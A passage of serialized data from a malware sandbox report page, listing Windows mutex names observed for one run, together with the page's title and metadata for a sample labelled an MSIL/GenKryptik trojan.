andbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:1900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:1900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8432:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8432:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8432:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8432:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7796:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7796:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7796:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:7796:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:3632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:3632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5100:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5100:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:5100:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:5100:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:2044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:2044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3696:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3696:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:3696:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:3696:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8992:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8992:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8992:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8992:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:5868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:5868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:9208:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9208:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:9208:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:9208:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2656:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2656:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:2656:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:2656:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5728:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:5728:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:7596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7728:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7728:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7728:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:7728:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4788:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:4788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:4788:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:4788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:5232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:5232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}]}},"report_ids":{"sandbox_job_ids":["6a96fb225c897d9f300020e6"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious MSIL/GenKryptik_AGeneric.CEX trojan Sample 70a0b041d945… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 70a0b041d945…. Malware family: MSIL/GenKryptik_AGeneric.CEX trojan. Threat score 100/100. 4/26 AV engines flagged this file. 14 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b"}],["$","meta","4",{"property":"og:title","content":"Malicious MSIL/GenKryptik_AGeneric.CEX trojan Sample 70a0b041d945… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 70a0b041d945…. Malware family: MSIL/GenKryptik_AGeneric.CEX trojan. Threat score 100/100. 4/26 AV engines flagged this file. 14 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious MSIL/GenKryptik_AGeneric.CEX trojan Sample 70a0b041d945… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 70a0b041d945…. Malware family: MSIL/GenKryptik_AGeneric.CEX trojan. Threat score 100/100. 4/26 AV engines flagged this file. 14 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L7e","11",{}]]